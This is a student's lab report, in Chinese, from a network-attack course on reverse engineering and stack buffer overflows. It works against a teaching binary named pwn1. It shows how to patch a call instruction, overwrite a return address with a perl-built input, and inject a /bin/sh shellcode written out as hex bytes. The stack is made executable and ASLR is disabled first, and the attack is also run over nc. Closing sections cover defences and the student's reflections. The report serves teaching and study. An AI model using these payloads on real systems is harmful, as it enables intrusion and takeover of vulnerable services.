20194307肖江宇exp-1

20194307肖江宇《网络对抗技术》 exp1 逆向与Bof基础

基础知识

---

1. NOP,JNE,JE,JMP,CMP汇编指令的机器码：

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）

JNE：条件转移指令，如果不相等则跳转。（机器码：75）

JE：条件转移指令，如果相等则跳转。（机器码：74）

JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2. 掌握反汇编与十六进制编辑器

本次实验反汇编命令为：objdump -d 目标文件 | more ；vim ； gdb

十六进制编辑器为WxHexEditior

经本人实践，WxHexEditior没有直接使用vim进行编辑好用！！！

–

1 逆向及BOF基础实践说明

---

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

• 三个实践内容如下

  • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode。

• 这几种思路，基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段

  • 强行修改程序执行流

  • 以及注入运行任意代码

–

2 直接修改程序机器指令，改变程序执行流程

---

• 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

• 学习目标：理解可执行文件与机器指令

• 进阶：掌握ELF文件格式，掌握动态技术

–

首先，将pwn1文件重命名后放入共享文件

将pwn20194307复制到root文件夹中的exp1文件夹中，并且复制一个pwn20194307-1作为副本。

对pwn20194307进行反汇编

找到getshell、foo、main函数所在位置

–

• 根据地址80484b5，找到汇编指令call 8048491 <foo>

  • 这条指令将调用位于地址8048491处的foo函数；

  • 其对应机器指令为e8 d7ffffff,e8即跳转之意

    • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值

–

• main函数调用foo函数，对应机器指令为“ e8 d7ffffff”

  • 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行

  • 用Windows计算器，直接 47d-4ba就能得到补码，是c3fffff
    

• 下面修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff

root@xiaojiangyu:~# vim pwn20194307

以下操作是在vim中：

1.按ESC键

2.输入如下代码，将显示模式切换为16进制模式

:%!xxd

3.查找要修改的内容

/d7ff

修改d7为c3

转换16进制为原格式

:%!xxd -r

保存退出vim

:wq

• 再次反汇编，可以看到call指令已经跳到getshell函数

• 运行修改后的代码，会得到shell提示符#

• root@xiaojiangyu:~# ./pwn20194307

• #ls

• pwn20194307 pwn20194307-1 prelink

–

3 通过构造输入参数，造成BOF攻击，改变程序执行流

---

知识要求：堆栈结构，返回地址c

学习目标：理解攻击缓冲区的结果，掌握返回地址的获取

进阶：掌握ELF文件格式，掌握动态技术

–

3.1反汇编，了解程序的基本功能

首先将代码反汇编

== 找到函数getshell，我们的目标是触发这个函数 ==

pwn20194307文件正常运行为执行如下函数foo，这个函数含有Buffer overflow漏洞

==这里读入字符串，但系统只预留**(28)**字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==

==上面的call调用foo,同时在堆栈上压上返回地址值:(80484ba) ==

–

3.2确认输入字符串哪几个字符会覆盖到返回地址

这里由于pwn20194307文件已被修改，我们的实验对象改为pwn20194307-1，首先先制作副本pwn20194307-2保存，并且使用gdb反汇编pwn20194307-1

当输入的为1111111122222222333333334444444455555555可以看到eip的值0x35353535也就是5555的ASCII码：

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

–

3.3 确认用什么值来覆盖返回地址

getShell的内存地址，通过反汇编时可以看到，即0804847d。

接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08

对比之前eip 0x34333231 0x34333231，正确应用输入11111111222222223333333344444444**\x7d\x84\x04\x08**。

–

3.4 构造输入字符串

由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

1 | perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

关于Perl：

Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。

使用输出重定向“>”将perl生成的字符串存储到文件input中。

–

可以使用16进制查看指令xxd查看input文件的内容是否如预期

–

然后将input的输入，通过管道符“|”，作为pwn1的输入。

–

4 注入Shellcode并执行

---

4.1 准备一段Shellcode

• shellcode就是一段机器指令（code）

  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe）
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    –

4.2 准备工作

先通过execstack - s指令来设置堆栈可执行

再用 execstack -q 指令查询文件的堆栈是否可执行

随后关闭地址随机化

4.3 构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：
  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
• 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

–

• 我们这个buf够放这个shellcode了
• 结构为：nops+shellcode+retaddr
  • nop一为是了填充，二是作为“着陆区/滑行区”
  • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode

–

输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

–

接下来我们来确定\x4\x3\x2\x1到底该填什么

打开一个终端注入这段攻击buf：

(cat input_shellcode;cat) | ./pwn1

注意：输入该代码后回车一次即可，无需多次回车至出现������1�Ph//shh/bin��PS��1Ұ字样，因为出现该字样后在前往另外一个终端时会无法attach上该进程.

–

再开另外一个终端，用gdb来调试pwn20194307-1这个进程。

首先找到我的进程号为2889，随后启动gdb进行调试。

先attach上该进程，随后设置断点。

注意在输入c(即continue那一步）时，先应返回原本进程输入一个回车！

此处我的esp值为ffffd12c↑

可以看到从这开始为我们的shellcode↑

可以看到返回地址占位也是正确的↑

我决定将返回地址改为***0xffffd110***

并运行

失败

按照上面步骤再次进行调试

发现在此处出现问题

上面部分在实验指导书中为刘老师设置的坑

–

4.4 重新开始

结构为：anything+retaddr+nops+shellcode。

我于ffffd12c处看到0x01020304，而shellcode就挨着，所以地址为0xffffd130

因此我的输入为：

perl -e 'print "A" x 32;print "\x30\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x40\xd1\xff\xff\x00"' > input_shellcode

成功！！！

–

4.5 结合nc模拟远程攻击

本例中是在同一台主机上做的实验；该实验最好在互相连通的两台Linux上做，将ip地址替换为主机1的IP即可。

首先查看本机的ip地址 127.0.0.1

主机1，模拟一个有漏洞的网络服务：

-l 表示listen, -p 后加端口号 -e 后加可执行文件，网络上接收的数据将作为这个程序的输入

将一个终端弄成服务器，也就是被攻击机

主机2，连接主机1并发送攻击载荷：

发现失败

经过搜寻资料，咨询同学

发现问题可能如下：

输入shell指令还没有完，这个时候因为是两个终端，地址有可能会变化，所以我开了第三个终端单步调查看nops地址

计算得出地址应为***0xffffd110***,将其注入input_shellcode中

再次实验，成功

–

5 Bof攻击防御技术

---

5.1 从防止注入的角度

在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生

GCC 中的编译器堆栈保护技术

–

5.2 注入入了也不让运行

结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。

通过execstack -s pwn1 来设置堆栈可执行

通过execstack -q pwn1 来查询文件的堆栈是否可执行

Linux可执行文件堆栈执行标识设置

5.3 增加shellcode的构造难度。

该部分为实验指导博客中内容：

shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况

0 - 表示关闭进程地址空间随机化。

1 - 表示将mmap的基址，stack和vdso页面随机化。

2 - 表示在1的基础上增加栈（heap）的随机化。

ASLR Exploitation

–

5.4 从管理的角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

---

6 扩展阅读

64位系统对BOF攻击影响非常大，基本先天免疫。一个原因是地址空间大，每个地址都有大量00，没法注啊。启用地址随机化后，也没法猜啊。想研究可以读下附件中的《x86-64 buffer overflow.pdf》。

接下来可以做一下实验楼的Return-to-libc 攻击实验。再研究 rop (Return Orientated Programming)rop攻击实例。多动手实践基本Linux漏洞攻击。

最后看看各种技术持综述：矛与盾：二进制漏洞攻防思想对抗。

---

实验心得

• 这次的实验对我来说难度很大，因为我本身是来自保密管理专业的，学过的计算机语言只局限于大一下学习的C语言，到现在有近两年的时间了，这就导致我在做这次实验的时候很懵，很迷惘，不知道怎么做。再加上老师只是让我们自己下课看视频自学，这种教学方式我只在偏文科的科目上见过，从来没有在理科性的课上体验过，因此我一开始十分不适应，而且对老师也有点意见，觉得老师不交怎么学得会。但是后来我发现这种想法是不对的，在这里和老师说一句对不起，我在看视频的过程中我慢慢发现，这种自学的感觉很好，我可以感受到一个个晦涩难懂的知识点在反复观看视频以及自己实践操作下渐渐清晰，这种感觉是十分奇妙的。于是我自己一步步摸索进而将这次实验完成。
• 在做实验的过程中我也遇到了很多问题，例如我的virtual box出现了问题，无法启动虚拟机，我自己研究了5个小时都没有解决，后来找到课代表询问，我们两个一起研究了三个小时，还是没有解决，于是选择了改用Vmware。后来我将问题放在讨论版，很多同学也给我了许多帮助，虽然问题最终还是没有解决，但是这个过程已经足矣。
• 在实验后还是有些没有弄懂的地方，包括我在写下这篇实验报告的时候，在构造shellcode那里我还有一个点没有搞清楚，我准备去询问课代表以及一些较为熟练的同学。
• 总的来说，这次实验最重要的是改变了我的观念，我不再认为老师就应该课上讲授新知识，而是可以课下学习，课上老师答疑解惑，这样的效率最高，对知识的掌握程度也最好。
• 最后，感谢老师，感谢同学们，也感谢自己！